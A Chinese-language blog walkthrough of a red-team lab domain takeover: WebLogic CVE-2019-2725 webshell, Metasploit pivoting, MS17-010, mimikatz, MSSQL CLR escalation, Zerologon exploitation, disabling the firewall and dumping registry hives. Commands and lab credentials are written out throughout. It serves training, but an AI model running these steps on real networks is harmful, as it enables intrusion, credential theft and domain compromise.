【内网渗透系列】内网靶场之轻松拿下域控--突破安全策略接管域控


背景:摸鱼时刻,偶然刷到渗透攻击红队公众号开了一个内网渗透靶场,正在学习内网渗透的我摩拳擦掌。下面是我在测试过程的一些记录,大佬勿喷~~
全程使用msf,没有使用cs。感觉新手先把msf用明白之后,再用图形化的cs,会对个人理解整个内网渗透过程会理解地更清晰。

环境配置

靶场下载

靶场下载地址:

https://pan.baidu.com/s/1DOaDrsDsB2aW0sHSO_-fZQ

提取码: vbi2

相关密码

解压密码:saulGoodman.cn@redteam.red

域控:Windows Server 2008 + IIS + Exchange 2013 邮件服务

目录还原密码:redteam!@#45

主机名:owa

域管理员:administrator:Admin12345

域内服务器 Mssql:Windows Server 2008 + SQL Server 2008 (被配置了非约束委派)

主机名:sqlserver-2008

本地管理员:Administrator:Admin12345

域账户:redteam\sqlserver:Server12345 (被配置了约束委派)

Mssql:sa:sa

域内个人 PC:Windows 7

主机名:work-7

本地管理员:john:admin!@#45

域账户:redteam\saul:admin!@#45

单机服务器:Windows server r2 + weblogic

主机名:weblogic

本地管理员:Administrator:Admin12345

其他域用户:

域服务账户:redteam\sqlserver:Server12345 (被配置了约束委派)

邮件用户:redteam\mail:admin!@#45

加域账户:redteam\adduser:Add12345

redteam\saulgoodman:Saul12345 (被配置了非约束委派)

redteam\gu:Gu12345

redteam\apt404:Apt12345

环境配置

  1. 单机服务器:Windows server r2 + weblogic

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain, 双击startWebLogic.cmd启动weblogic,不然扫描不到7001端口。

img

渗透过程

DMZ区

首先拿到了目标的 IP:192.168.52.132,对该 IP 使用 Nmap 进行端口扫描:

nmap 192.168.52.132 -Pn -T3 -sV --open -v

发现开放了3个端口,其中有一个是7001

img

重点关注的端口,打开看一下:http://192.168.52.132:7001/
img

熟悉的界面

此时,掏出扫描器,开启乱杀

img

挑个容易操作的CVE-2019-2725(XMLDecoder反序列化漏洞),payload打上

img

上传webshell:

http://192.168.52.132:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=ipconfig

img

发现目标出网

image-20211113230214483

办公区

一般拿下一台DMZ区域的机器后,除了权限维持和权限提升,对于横向渗透红队会主要分两路进行下一步动作:一方面是判断机器是否为多网卡机器,然后扫描其他网段,以图发现更多存在漏洞的机器;另一方面,安排人手尽量收集机器上面的敏感信息,比如敏感内部文件、账号密码本等,帮助一队快速突破。

由于已经是administrator,不需要提权,下一步

通过查看DMZ机器上面的进程信息,发现无AV(实际极少碰到),于是上线到msf,方便操作

为了便于操作,我个人使用的是web_delivery,运行powershell脚本,实际测试可以有多种方法

img

run一下

img

再利用weblogic漏洞的payload或已上传的webshell执行一下,上图箭头的powershell命令,即可上线

img

发现当前机器是有两张网卡,其中 10 是内网网卡,于是添加路由扫描10.10.20.0/24网段。

sessions 1

run get_local_subnets
run autoroute -s 192.168.52.0 -n 255.255.255.0
run autoroute -p
img

扫描

use auxiliary/scanner/smb/smb_version
set rhosts 10.10.20.1-10.10.20.244
run

当然,为了便于实验,可以直接设置set rhosts 10.10.20.7

发现该网段存在一台win7

img

扫描一下ms17-010

search 17-010
use 3
set rhost 10.10.20.7
run

存在漏洞

img

直接打一下

search 17-010
use 1
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.20.7
run

img

失败了

img

此处有一个小插曲,前面使用的是WSL的kali,后面使用虚拟机的kali就成功了,可能是因为网络问题(不清楚,有师傅可以指点下)

img

此时,办公区的PC win7已经拿下

img

通过调用 mimikatz 抓取其域用户的密码
用户名:REDTEAM\saul

密码:admin!@#45

img

数据库区

在办公区win7机器上发现另一个网段10.10.10.0/24

img

添加路由

sessions 2

run get_local_subnets
run autoroute -s 192.168.52.0 -n 255.255.255.0
run autoroute -p
img

继续扫描新网段

发现两台新机器:10.10.10.8和10.10.10.18

img

其中,发现10.10.10.18的机器名是SQLSERVER-2008,应该是数据库区的机器

上传fscan扫描一下端口

img

果然开启1433端口,fscan随便还把其弱口令扫出来了,利器!

msf开启代理隧道,掏出SharpSQLTools工具

img

发现是低权限账号

尝试clr提权

参考文章:

https://cloud.tencent.com/developer/article/1736431

https://xz.aliyun.com/t/7534

命令如下:

SharpSQLTools.exe 10.10.10.18 sa sa master install_clr
SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami

成功提权到system权限

img

由于10.10.10.18状态机器不出网,于是使用exploit/windows/mssql/mssql_clr_payload模块,先将低权限账号上线到msf,方便使用隧道将木马上传上去

img

成功

img

上传木马

img

再使用SharpSQLTools工具运行一下,便得到system权限的会话

img

img

查看网段信息,没有新的网段了

img

获取凭证

img

发现另一个用户:

用户名:sqlserver

密码:Server12345

域控

下一步尝试打域控,那么先要定位域控

常见的定位域控的方法有:

定位域控的常见方法

定位域控方法一:常规知识

扫描内网中同时开放389和53端口的机器

端口:389 服务:LDAP、ILS 说明:轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。

端口:53 服务:Domain Name Server(DNS) 说明:53端口为DNS(Domain Name Server,域名服务器)

之前扫描10.10.10.0/24段的时候还发现10.10.10.8这台机器,扫描一下端口

img

正好开启了这两个端口

定位域控方法二:查看域控制器组

net group"domain controllers" /domain

img

定位域控方法三:查看域控的机器名

nslookup test.com
nslookup -type=SRV _ldap._tcp

img

定位域控方法四:查看域控当前时间

net time /domain
img

一般时间服务器为主域控制器


(我是小小的分割线)

以上种种方法都表明,10.10.10.8这台机器是域控无疑,所以全力进攻

CVE-2020-1472

这漏洞在2020年的影响还是蛮大的,在内网渗透进攻域控,一般都会尝试一下

掏出套件,先来PoC看下漏洞是否存在

PoC

用法:secretsdump.py 域名/域控机器名@域控IP -just-dc -no-pass

img

ohhhhh,完蛋...完..美

导出域控hash

用法:secretsdump.py 域名/域控机器名$@域控IP -just-dc -no-pass

此时尝试导出肯定是是失败的

img

打一下Exp

用法:python CVE-2020-1472.py 域控nbios名 域控主机名$ 域控IP

python3 cve-2020-1472-exploit.py OWA 10.10.10.8

img

此时密码已置空

再抓一下hash

img

的确是空密码

img

获取域控权限

用法:wmiexec.py -hashes LMHASH:NTHASH 域名/用户名@域控IP

Wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7 redteam.red/Administrator@10.10.10.8

img

成功获取域控权限

读取一下flag。其实到这里就已经可以交作业啦!

img

突破策略,上线msf

得到hash之后,使用MSF PSEXEC模块上线

use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec
set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.8
run/exploit

失败了,估计是防火墙问题

img

利用impacket获取的会话,关闭防火墙

netsh advfirewall set allprofiles state off

成功上线

img

恢复域控密码

实际测试还是恢复域控密码,不然会导致机器脱域
导出sam等文件到本地,命令如下:

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
img 下载到kali

下载完成之后进行删除

del /f system.save
del /f sam.save
del /f security.save

查看域控hash

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

img 使用脚本恢复hash

proxychains python3 reinstall_original_pw.py DC 10.10.10.8 8623dc75ede3ca9ec11f2475b12ef96d

img

漫长的等待

img 使用空密码连接进行验证是否恢复

img

最终获取的成果如下:

flag如下:

img

(好人卡??)

机器如下:

img

总结

本靶场总体难度两颗星,不算难。关键在于测试过程中要有清晰的思路,明白在每一步该收集哪些信息、重点关注哪些漏洞以及对应工具的使用。干说不练假把戏,渗透思路都是在日常渗透逐渐积累起来的,大家可以多多动手!

其实该靶场里面作者还设置有其他很多的漏洞,都是内网常见的漏洞,可以继续把玩,把设置的考点全都找出来,拓展自己在渗透过程中的视野,才能在实际测试中“大开脑洞”。


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM